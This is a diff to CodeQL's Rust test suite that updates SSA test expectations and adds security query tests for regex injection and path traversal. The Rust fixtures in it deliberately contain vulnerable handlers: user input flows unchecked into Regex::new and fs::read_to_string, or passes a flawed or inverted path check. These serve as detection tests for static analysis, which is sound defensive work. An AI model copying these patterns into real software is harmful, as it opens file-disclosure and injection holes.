+| main.rs:372:5:372:5 | a | main.rs:371:13:371:13 | a | main.rs:373:15:373:15 | a | main.rs:374:11:374:11 | a |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:387:6:387:6 | x | main.rs:388:10:388:10 | x |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:388:10:388:10 | x | main.rs:389:10:389:10 | x |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:389:10:389:10 | x | main.rs:390:12:390:12 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:394:6:394:6 | x | main.rs:395:10:395:10 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:395:10:395:10 | x | main.rs:396:10:396:10 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:396:10:396:10 | x | main.rs:398:9:398:9 | x |
+| main.rs:404:22:404:27 | &mut x | main.rs:402:13:402:13 | x | main.rs:407:15:407:15 | x | main.rs:411:19:411:19 | x |
 | main.rs:410:9:410:9 | w | main.rs:410:9:410:9 | w | main.rs:414:9:414:9 | w | main.rs:416:7:416:7 | w |
 | main.rs:476:13:476:13 | x | main.rs:476:13:476:13 | x | main.rs:477:15:477:15 | x | main.rs:478:15:478:15 | x |
 | main.rs:480:9:480:9 | x | main.rs:476:13:476:13 | x | main.rs:481:19:481:19 | x | main.rs:482:19:482:19 | x |
@@ -452,6 +501,7 @@ adjacentReads
 | main.rs:492:9:492:9 | x | main.rs:492:9:492:9 | x | main.rs:496:19:496:19 | x | main.rs:500:19:500:19 | x |
 | main.rs:492:9:492:9 | x | main.rs:492:9:492:9 | x | main.rs:496:19:496:19 | x | main.rs:502:19:502:19 | x |
 | main.rs:521:17:521:17 | f | main.rs:521:17:521:17 | f | main.rs:525:9:525:9 | f | main.rs:526:9:526:9 | f |
+| main.rs:532:15:532:15 | a | main.rs:531:13:531:13 | a | main.rs:533:5:533:5 | a | main.rs:534:15:534:15 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:541:15:541:15 | a | main.rs:542:5:542:5 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:542:5:542:5 | a | main.rs:543:15:543:15 | a |
 | main.rs:549:9:549:9 | x | main.rs:549:9:549:9 | x | main.rs:550:20:550:20 | x | main.rs:551:15:551:15 | x |
@@ -485,14 +535,15 @@ phi
 phiReadNode
 | main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:102:9:102:10 | s1 |
 | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:492:9:492:9 | x |
-phiReadNodeRead
+phiReadNodeFirstRead
 | main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:102:9:102:10 | s1 | main.rs:105:11:105:12 | s1 |
 | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:492:9:492:9 | x | main.rs:500:19:500:19 | x |
 | main.rs:493:5:497:5 | SSA phi read(x) | main.rs:492:9:492:9 | x | main.rs:502:19:502:19 | x |
 phiReadInput
 | main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:102:9:102:10 | s1 |
-| main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:104:11:105:12 | SSA phi read(s1) |
-| main.rs:493:5:497:5 | SSA phi read(x) | main.rs:492:9:492:9 | x |
+| main.rs:104:11:105:12 | SSA phi read(s1) | main.rs:105:11:105:12 | SSA read(s1) |
+| main.rs:493:5:497:5 | SSA phi read(x) | main.rs:494:19:494:19 | SSA read(x) |
+| main.rs:493:5:497:5 | SSA phi read(x) | main.rs:496:19:496:19 | SSA read(x) |
 ultimateDef
 | main.rs:191:9:191:44 | phi | main.rs:191:22:191:23 | a3 |
 | main.rs:191:9:191:44 | phi | main.rs:191:42:191:43 | a3 |
@@ -553,9 +604,14 @@ assigns
 | main.rs:333:9:333:9 | f | main.rs:334:9:335:9 | \|...\| x |
 | main.rs:354:13:354:13 | f | main.rs:355:13:356:13 | \|...\| x |
 | main.rs:362:9:362:9 | v | main.rs:362:13:362:41 | &... |
+| main.rs:371:13:371:13 | a | main.rs:371:17:371:17 | 0 |
+| main.rs:379:13:379:13 | i | main.rs:379:17:379:17 | 1 |
 | main.rs:380:9:380:13 | ref_i | main.rs:381:9:381:14 | &mut i |
+| main.rs:402:13:402:13 | x | main.rs:402:17:402:17 | 2 |
 | main.rs:403:9:403:9 | y | main.rs:404:9:404:28 | mutate_param(...) |
+| main.rs:409:13:409:13 | z | main.rs:409:17:409:17 | 4 |
 | main.rs:410:9:410:9 | w | main.rs:411:9:411:19 | &mut ... |
+| main.rs:422:13:422:13 | x | main.rs:422:17:422:17 | 1 |
 | main.rs:423:9:423:9 | y | main.rs:424:9:424:14 | &mut x |
 | main.rs:430:9:430:9 | x | main.rs:430:13:430:15 | 100 |
 | main.rs:432:9:432:11 | cap | main.rs:432:15:434:5 | \|...\| ... |
@@ -564,6 +620,7 @@ assigns
 | main.rs:448:13:448:13 | y | main.rs:448:17:448:17 | 2 |
 | main.rs:450:13:450:20 | closure2 | main.rs:450:24:452:5 | \|...\| ... |
 | main.rs:451:9:451:9 | y | main.rs:451:13:451:13 | 3 |
+| main.rs:456:13:456:13 | z | main.rs:456:17:456:17 | 2 |
 | main.rs:458:13:458:20 | closure3 | main.rs:458:24:460:5 | \|...\| ... |
 | main.rs:466:13:466:13 | i | main.rs:466:22:466:22 | 0 |
 | main.rs:467:9:467:13 | block | main.rs:467:17:469:5 | { ... } |
@@ -573,10 +630,13 @@ assigns
 | main.rs:484:9:484:9 | x | main.rs:484:13:484:13 | 3 |
 | main.rs:492:9:492:9 | x | main.rs:492:13:492:13 | 1 |
 | main.rs:521:17:521:17 | f | main.rs:521:21:524:9 | \|...\| ... |
+| main.rs:531:13:531:13 | a | main.rs:531:17:531:35 | MyStruct {...} |
+| main.rs:535:5:535:5 | a | main.rs:535:9:535:27 | MyStruct {...} |
 | main.rs:540:13:540:13 | a | main.rs:540:17:540:25 | [...] |
 | main.rs:544:5:544:5 | a | main.rs:544:9:544:17 | [...] |
 | main.rs:549:9:549:9 | x | main.rs:549:13:549:14 | 16 |
 | main.rs:553:9:553:9 | z | main.rs:553:13:553:14 | 17 |
+| main.rs:568:11:568:11 | a | main.rs:568:15:568:33 | MyStruct {...} |
 | main.rs:593:9:593:22 | var_from_macro | main.rs:594:9:594:25 | MacroExpr |
 | main.rs:594:9:594:25 | var_in_macro | main.rs:594:23:594:24 | 37 |
 | main.rs:596:9:596:20 | var_in_macro | main.rs:596:24:596:25 | 33 |
diff --git a/rust/ql/test/library-tests/variables/Ssa.ql b/rust/ql/test/library-tests/variables/Ssa.ql
index a6005c62b008..c972bb2747cd 100644
--- a/rust/ql/test/library-tests/variables/Ssa.ql
+++ b/rust/ql/test/library-tests/variables/Ssa.ql
@@ -3,9 +3,7 @@ import codeql.rust.controlflow.BasicBlocks
 import codeql.rust.controlflow.ControlFlowGraph
 import codeql.rust.dataflow.Ssa
 import codeql.rust.dataflow.internal.SsaImpl
-import ExposedForTestingOnly
-
-query predicate nonSsaVariable(Variable v) { not v instanceof Ssa::Variable }
+import Impl::TestAdjacentRefs as RefTest
 
 query predicate definition(Ssa::Definition def, Variable v) { def.getSourceVariable() = v }
 
@@ -26,18 +24,22 @@ query predicate phi(Ssa::PhiDefinition phi, Variable v, Ssa::Definition input) {
   phi.getSourceVariable() = v and input = phi.getAnInput()
 }
 
-query predicate phiReadNode(PhiReadNode phi, Variable v) { phi.getSourceVariable() = v }
+query predicate phiReadNode(RefTest::Ref phi, Variable v) {
+  phi.isPhiRead() and phi.getSourceVariable() = v
+}
 
-query predicate phiReadNodeRead(PhiReadNode phi, Variable v, CfgNode read) {
-  phi.getSourceVariable() = v and
-  exists(BasicBlock bb, int i |
-    ssaDefReachesReadExt(v, phi, bb, i) and
+query predicate phiReadNodeFirstRead(RefTest::Ref phi, Variable v, CfgNode read) {
+  exists(RefTest::Ref r, BasicBlock bb, int i |
+    phi.isPhiRead() and
+    RefTest::adjacentRefRead(phi, r) and
+    r.accessAt(bb, i, v) and
     read = bb.getNode(i)
   )
 }
 
-query predicate phiReadInput(PhiReadNode phi, DefinitionExt inp) {
-  phiHasInputFromBlockExt(phi, inp, _)
+query predicate phiReadInput(RefTest::Ref phi, RefTest::Ref inp) {
+  phi.isPhiRead() and
+  RefTest::adjacentRefPhi(inp, phi)
 }
 
 query predicate ultimateDef(Ssa::Definition def, Definition ult) {
diff --git a/rust/ql/test/qlpack.yml b/rust/ql/test/qlpack.yml
index 7428ca33bed7..1bf759f71e09 100644
--- a/rust/ql/test/qlpack.yml
+++ b/rust/ql/test/qlpack.yml
@@ -6,3 +6,5 @@ dependencies:
 extractor: rust
 tests: .
 warnOnImplicitThis: true
+dataExtensions:
+  - default-threat-models.model.yml
diff --git a/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.expected b/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.expected
index 1a79d92303dc..7f8d388fdc50 100644
--- a/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.expected
+++ b/rust/ql/test/query-tests/diagnostics/AstConsistencyCounts.expected
@@ -1,7 +1,6 @@
 | Multiple children | 0 |
 | Multiple locations | 0 |
 | Multiple parents | 0 |
-| Multiple path resolutions | 0 |
 | Multiple positions | 0 |
 | Multiple primary QL classes | 0 |
 | Multiple toStrings | 0 |
diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected
index 5249eae29b1f..d34cd849069b 100644
--- a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected
+++ b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected
@@ -1,4 +1,4 @@
-| Elements extracted | 405 |
+| Elements extracted | 406 |
 | Elements unextracted | 0 |
 | Extraction errors | 0 |
 | Extraction warnings | 7 |
@@ -8,13 +8,14 @@
 | Files extracted - without errors % | 57 |
 | Inconsistencies - AST | 0 |
 | Inconsistencies - CFG | 0 |
+| Inconsistencies - Path resolution | 0 |
 | Inconsistencies - data flow | 0 |
 | Lines of code extracted | 60 |
 | Lines of user code extracted | 60 |
 | Macro calls - resolved | 8 |
 | Macro calls - total | 9 |
 | Macro calls - unresolved | 1 |
-| Taint edges - number of edges | 1670 |
+| Taint edges - number of edges | 1674 |
 | Taint reach - nodes tainted | 0 |
 | Taint reach - per million nodes | 0 |
 | Taint sinks - cryptographic operations | 0 |
diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected
new file mode 100644
index 000000000000..1dd626144da7
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected
@@ -0,0 +1,28 @@
+#select
+| main.rs:6:25:6:30 | &regex | main.rs:4:20:4:32 | ...::var | main.rs:6:25:6:30 | &regex | This regular expression is constructed from a $@. | main.rs:4:20:4:32 | ...::var | user-provided value |
+edges
+| main.rs:4:9:4:16 | username | main.rs:5:25:5:44 | MacroExpr | provenance |  |
+| main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:64  |
+| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1627 |
+| main.rs:4:20:4:66 | ... .unwrap_or(...) | main.rs:4:9:4:16 | username | provenance |  |
+| main.rs:5:9:5:13 | regex | main.rs:6:26:6:30 | regex | provenance |  |
+| main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance |  |
+| main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance |  |
+| main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance |  |
+| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:100 |
+| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3050 |
+| main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | &regex | provenance |  |
+nodes
+| main.rs:4:9:4:16 | username | semmle.label | username |
+| main.rs:4:20:4:32 | ...::var | semmle.label | ...::var |
+| main.rs:4:20:4:40 | ...::var(...) [Ok] | semmle.label | ...::var(...) [Ok] |
+| main.rs:4:20:4:66 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) |
+| main.rs:5:9:5:13 | regex | semmle.label | regex |
+| main.rs:5:17:5:45 | res | semmle.label | res |
+| main.rs:5:25:5:44 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:5:25:5:44 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:5:25:5:44 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:5:25:5:44 | { ... } | semmle.label | { ... } |
+| main.rs:6:25:6:30 | &regex | semmle.label | &regex |
+| main.rs:6:26:6:30 | regex | semmle.label | regex |
+subpaths
diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.qlref b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.qlref
new file mode 100644
index 000000000000..bc028b7e20d6
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.qlref
@@ -0,0 +1,2 @@
+query: queries/security/CWE-020/RegexInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.expected
new file mode 100644
index 000000000000..4ea46a385870
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.expected
@@ -0,0 +1,2 @@
+| main.rs:6:25:6:30 | &regex |
+| main.rs:14:25:14:30 | &regex |
diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.ql b/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.ql
new file mode 100644
index 000000000000..0723ec5bb5b7
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjectionSink.ql
@@ -0,0 +1,4 @@
+private import codeql.rust.dataflow.DataFlow
+private import codeql.rust.security.regex.RegexInjectionExtensions
+
+query predicate regexInjectionSink(DataFlow::Node node) { node instanceof RegexInjectionSink }
diff --git a/rust/ql/test/query-tests/security/CWE-020/main.rs b/rust/ql/test/query-tests/security/CWE-020/main.rs
new file mode 100644
index 000000000000..a03e5d4b4942
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/main.rs
@@ -0,0 +1,36 @@
+use regex::Regex;
+
+fn simple_bad(hay: &str) -> Option<bool> {
+    let username = std::env::var("USER").unwrap_or("".to_string()); // $ Source=env
+    let regex = format!("foo{}bar", username);
+    let re = Regex::new(&regex).unwrap(); // $ Alert[rust/regex-injection]=env
+    Some(re.is_match(hay))
+}
+
+fn simple_good(hay: &str) -> Option<bool> {
+    let username = std::env::var("USER").unwrap_or("".to_string());
+    let escaped = regex::escape(&username);
+    let regex = format!("foo{}bar", escaped);
+    let re = Regex::new(&regex).unwrap();
+    Some(re.is_match(hay))
+}
+
+fn not_a_sink_literal() -> Option<bool> {
+    let username = std::env::var("USER").unwrap_or("".to_string());
+    let re = Regex::new("literal string").unwrap();
+    Some(re.is_match(&username))
+}
+
+fn not_a_sink_raw_literal() -> Option<bool> {
+    let username = std::env::var("USER").unwrap_or("".to_string());
+    let re = Regex::new(r"literal string").unwrap();
+    Some(re.is_match(&username))
+}
+
+fn main() {
+    let hay = "a string";
+    simple_bad(hay);
+    simple_good(hay);
+    not_a_sink_literal();
+    not_a_sink_raw_literal();
+}
diff --git a/rust/ql/test/query-tests/security/CWE-020/options.yml b/rust/ql/test/query-tests/security/CWE-020/options.yml
new file mode 100644
index 000000000000..8d484623101f
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-020/options.yml
@@ -0,0 +1,3 @@
+qltest_cargo_check: true
+qltest_dependencies:
+  - regex = { version = "1.11.1" }
diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected
new file mode 100644
index 000000000000..d85eed692f6b
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected
@@ -0,0 +1,55 @@
+#select
+| src/main.rs:10:5:10:22 | ...::read_to_string | src/main.rs:6:11:6:19 | file_name | src/main.rs:10:5:10:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:6:11:6:19 | file_name | user-provided value |
+| src/main.rs:45:5:45:22 | ...::read_to_string | src/main.rs:37:11:37:19 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:37:11:37:19 | file_path | user-provided value |
+| src/main.rs:59:5:59:22 | ...::read_to_string | src/main.rs:50:11:50:19 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:50:11:50:19 | file_path | user-provided value |
+edges
+| src/main.rs:6:11:6:19 | file_name | src/main.rs:8:35:8:43 | file_name | provenance |  |
+| src/main.rs:8:9:8:17 | file_path | src/main.rs:10:24:10:32 | file_path | provenance |  |
+| src/main.rs:8:21:8:44 | ...::from(...) | src/main.rs:8:9:8:17 | file_path | provenance |  |
+| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:4 |
+| src/main.rs:10:24:10:32 | file_path | src/main.rs:10:5:10:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 |
+| src/main.rs:37:11:37:19 | file_path | src/main.rs:40:52:40:60 | file_path | provenance |  |
+| src/main.rs:40:9:40:17 | file_path | src/main.rs:45:24:45:32 | file_path | provenance |  |
+| src/main.rs:40:21:40:62 | public_path.join(...) | src/main.rs:40:9:40:17 | file_path | provenance |  |
+| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:3 |
+| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:4 |
+| src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 |
+| src/main.rs:50:11:50:19 | file_path | src/main.rs:53:52:53:60 | file_path | provenance |  |
+| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | provenance | Config |
+| src/main.rs:53:21:53:62 | public_path.join(...) | src/main.rs:53:9:53:17 | file_path | provenance |  |
+| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:3 |
+| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:4 |
+| src/main.rs:54:9:54:17 | file_path | src/main.rs:59:24:59:32 | file_path | provenance |  |
+| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 |
+| src/main.rs:54:21:54:53 | ... .unwrap(...) | src/main.rs:54:9:54:17 | file_path | provenance |  |
+| src/main.rs:59:24:59:32 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 |
+models
+| 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] |
+| 2 | Summary: lang:core; <crate::result::Result>::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
+| 3 | Summary: lang:std; <crate::path::Path>::join; Argument[0]; ReturnValue; taint |
+| 4 | Summary: lang:std; <crate::path::PathBuf as crate::convert::From>::from; Argument[0]; ReturnValue; taint |
+nodes
+| src/main.rs:6:11:6:19 | file_name | semmle.label | file_name |
+| src/main.rs:8:9:8:17 | file_path | semmle.label | file_path |
+| src/main.rs:8:21:8:44 | ...::from(...) | semmle.label | ...::from(...) |
+| src/main.rs:8:35:8:43 | file_name | semmle.label | file_name |
+| src/main.rs:10:5:10:22 | ...::read_to_string | semmle.label | ...::read_to_string |
+| src/main.rs:10:24:10:32 | file_path | semmle.label | file_path |
+| src/main.rs:37:11:37:19 | file_path | semmle.label | file_path |
+| src/main.rs:40:9:40:17 | file_path | semmle.label | file_path |
+| src/main.rs:40:21:40:62 | public_path.join(...) | semmle.label | public_path.join(...) |
+| src/main.rs:40:38:40:61 | ...::from(...) | semmle.label | ...::from(...) |
+| src/main.rs:40:52:40:60 | file_path | semmle.label | file_path |
+| src/main.rs:45:5:45:22 | ...::read_to_string | semmle.label | ...::read_to_string |
+| src/main.rs:45:24:45:32 | file_path | semmle.label | file_path |
+| src/main.rs:50:11:50:19 | file_path | semmle.label | file_path |
+| src/main.rs:53:9:53:17 | file_path | semmle.label | file_path |
+| src/main.rs:53:21:53:62 | public_path.join(...) | semmle.label | public_path.join(...) |
+| src/main.rs:53:38:53:61 | ...::from(...) | semmle.label | ...::from(...) |
+| src/main.rs:53:52:53:60 | file_path | semmle.label | file_path |
+| src/main.rs:54:9:54:17 | file_path | semmle.label | file_path |
+| src/main.rs:54:21:54:44 | file_path.canonicalize(...) [Ok] | semmle.label | file_path.canonicalize(...) [Ok] |
+| src/main.rs:54:21:54:53 | ... .unwrap(...) | semmle.label | ... .unwrap(...) |
+| src/main.rs:59:5:59:22 | ...::read_to_string | semmle.label | ...::read_to_string |
+| src/main.rs:59:24:59:32 | file_path | semmle.label | file_path |
+subpaths
diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref
new file mode 100644
index 000000000000..2d4a275c02ac
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref
@@ -0,0 +1,4 @@
+query: queries/security/CWE-022/TaintedPath.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/rust/ql/test/extractor-tests/generated/RecordField/RecordField.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordField/RecordField.expected
rename to rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.expected
diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql
new file mode 100644
index 000000000000..66345376de7b
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql
@@ -0,0 +1,19 @@
+import rust
+import codeql.rust.security.TaintedPathExtensions
+import utils.test.InlineExpectationsTest
+
+module TaintedPathSinksTest implements TestSig {
+  string getARelevantTag() { result = "path-injection-sink" }
+
+  predicate hasActualResult(Location location, string element, string tag, string value) {
+    exists(TaintedPath::Sink sink |
+      location = sink.getLocation() and
+      location.getFile().getBaseName() != "" and
+      element = sink.toString() and
+      tag = "path-injection-sink" and
+      value = ""
+    )
+  }
+}
+
+import MakeTest<TaintedPathSinksTest>
diff --git a/rust/ql/test/query-tests/security/CWE-022/options.yml b/rust/ql/test/query-tests/security/CWE-022/options.yml
new file mode 100644
index 000000000000..5277d967cc09
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/options.yml
@@ -0,0 +1,2 @@
+qltest_dependencies:
+    - poem = { version = "3.1.7" }
diff --git a/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml b/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml
new file mode 100644
index 000000000000..bd988b083968
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/rust-toolchain.toml
@@ -0,0 +1,8 @@
+# This file specifies the Rust version used to develop and test the
+# extractors written in rust. It is set to the lowest version of Rust
+# we want to support.
+
+[toolchain]
+channel = "nightly"
+profile = "minimal"
+components = [ ]
diff --git a/rust/ql/test/query-tests/security/CWE-022/src/main.rs b/rust/ql/test/query-tests/security/CWE-022/src/main.rs
new file mode 100644
index 000000000000..7c13da08db50
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-022/src/main.rs
@@ -0,0 +1,88 @@
+#![feature(file_buffered)]
+use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result};
+use std::{fs, path::Path, path::PathBuf};
+//#[handler]
+fn tainted_path_handler_bad(
+    Query(file_name): Query<String>, // $ Source=remote1
+) -> Result<String> {
+    let file_path = PathBuf::from(file_name);
+    // BAD: This could read any file on the filesystem.
+    fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote1
+}
+
+//#[handler]
+fn tainted_path_handler_good(Query(file_name): Query<String>) -> Result<String> {
+    // GOOD: ensure that the filename has no path separators or parent directory references
+    if file_name.contains("..") || file_name.contains("/") || file_name.contains("\\") {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    let file_path = PathBuf::from(file_name);
+    fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink
+}
+
+//#[handler]
+fn tainted_path_handler_folder_good(Query(file_path): Query<String>) -> Result<String> {
+    let public_path = PathBuf::from("/var/www/public_html");
+    let file_path = public_path.join(PathBuf::from(file_path));
+    let file_path = file_path.canonicalize().unwrap();
+    // GOOD: ensure that the path stays within the public folder
+    if !file_path.starts_with(public_path) {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink
+}
+
+//#[handler]
+fn tainted_path_handler_folder_almost_good1(
+    Query(file_path): Query<String>, // $ Source=remote4
+) -> Result<String> {
+    let public_path = PathBuf::from("/var/www/public_html");
+    let file_path = public_path.join(PathBuf::from(file_path));
+    // BAD: the path could still contain `..` and escape the public folder
+    if !file_path.starts_with(public_path) {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote4
+}
+
+//#[handler]
+fn tainted_path_handler_folder_almost_good2(
+    Query(file_path): Query<String>, // $ Source=remote5
+) -> Result<String> {
+    let public_path = PathBuf::from("/var/www/public_html");
+    let file_path = public_path.join(PathBuf::from(file_path));
+    let file_path = file_path.canonicalize().unwrap();
+    // BAD: the check to ensure that the path stays within the public folder is wrong
+    if file_path.starts_with(public_path) {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote5
+}
+
+fn sinks(path1: &Path, path2: &Path) {
+    let _ = std::fs::copy(path1, path2); // $ path-injection-sink
+    let _ = std::fs::create_dir(path1); // $ path-injection-sink
+    let _ = std::fs::create_dir_all(path1); // $ path-injection-sink
+    let _ = std::fs::hard_link(path1, path2); // $ path-injection-sink
+    let _ = std::fs::metadata(path1); // $ path-injection-sink
+    let _ = std::fs::read(path1); // $ path-injection-sink
+    let _ = std::fs::read_dir(path1); // $ path-injection-sink
+    let _ = std::fs::read_link(path1); // $ path-injection-sink
+    let _ = std::fs::read_to_string(path1); // $ path-injection-sink
+    let _ = std::fs::remove_dir(path1); // $ path-injection-sink
+    let _ = std::fs::remove_dir_all(path1); // $ path-injection-sink
+    let _ = std::fs::remove_file(path1); // $ path-injection-sink
+    let _ = std::fs::rename(path1, path2); // $ path-injection-sink
+    let _ = std::fs::set_permissions(path1, std::os::unix::fs::PermissionsExt::from_mode(7)); // $ path-injection-sink
+    let _ = std::fs::soft_link(path1, path2); // $ path-injection-sink
+    let _ = std::fs::symlink_metadata(path1); // $ path-injection-sink
+    let _ = std::fs::write(path1, "contents"); // $ path-injection-sink
+    let _ = std::fs::DirBuilder::new().create(path1); // $ path-injection-sink
+    let _ = std::fs::File::create(path1); // $ path-injection-sink
+    let _ = std::fs::File::create_buffered(path1); // $ path-injection-sink
+    let _ = std::fs::File::create_new(path1); // $ path-injection-sink
+    let _ = std::fs::File::open(path1); // $ path-injection-sink
+    let _ = std::fs::File::open_buffered(path1); // $ path-injection-sink
+}
+
+fn main() {}
diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected
new file mode 100644
index 000000000000..d5074d0d43a3
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/SsaConsistency.expected
@@ -0,0 +1,4 @@
+uselessPhiNode
+| sqlx.rs:155:5:157:5 | phi | 1 |
+phiWithoutTwoPriorRefs
+| sqlx.rs:155:5:157:5 | phi | 1 |
diff --git a/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected b/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected
index 2462328c24cc..0d6f031a18f0 100644
--- a/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected
+++ b/rust/ql/test/query-tests/security/CWE-089/SqlInjection.expected
@@ -1,48 +1,73 @@
 #select
 | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
+| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value |
+| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
